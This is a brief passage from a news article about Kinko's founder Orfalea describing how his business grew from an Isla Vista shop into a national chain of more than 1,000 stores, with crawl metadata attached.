Orfalea said after starting in Isla Vista, he opened a downtown Santa Barbara a store because he could see other customers wanted the array of services he made available.
“I always had an exit strategy: Sell,” he said. “I hate to read, so why would I want a Xerox copy?”
Kinko’s grew from a single shop to a national chain with more than 1,000 locations and 25,000 employees. | <urn:uuid:31fc140a-e671-41a5-b4ab-6226f448e668> | CC-MAIN-2022-33 | https://www.independent.com/2012/02/16/kinkos-founder-speaks-mit-enterprise-forum/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570879.37/warc/CC-MAIN-20220809003642-20220809033642-00673.warc.gz | en | 0.980456 | 550 | 1.515625 | 2 |
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